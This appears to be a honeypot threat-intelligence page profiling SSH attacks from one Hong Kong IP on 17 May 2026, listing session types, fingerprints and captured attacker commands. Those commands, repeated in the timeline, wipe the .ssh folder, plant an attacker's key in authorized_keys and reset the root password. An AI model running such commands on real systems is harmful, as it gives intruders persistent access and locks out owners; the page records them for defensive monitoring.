← Back to feed
Location
🇭🇰 HK / Hong Kong
ASN
AS979 · NetLab Global
Cloud Provider
—
Total Events
292
Above average by volume
Agent Count
1
First / Last Seen
2026-05-17 19:26 — 2026-05-17 20:52
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
36 (15 with login)
Avg Depth Score
0.43
Commands Executed
26
Files Downloaded
8
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:9Uaw8XjAK90o"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
321a15dc0dd0
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
091cb2872fd5
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
a3473c0387c3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
537e7f203016
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
e4db841623bd
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
85e00bff1a04
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
56ab52966526
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
70d5f5ee6f78
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
b7894f19fcfa
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
da599bf8e113
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
a1f870a6edc4
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
15387501bd87
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
0452af7505b7
LOGIN
5
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:9Uaw8XjAK90o"|chpasswd|bash
Malware Dropper
9fedbbf56765
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
546244958c61
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6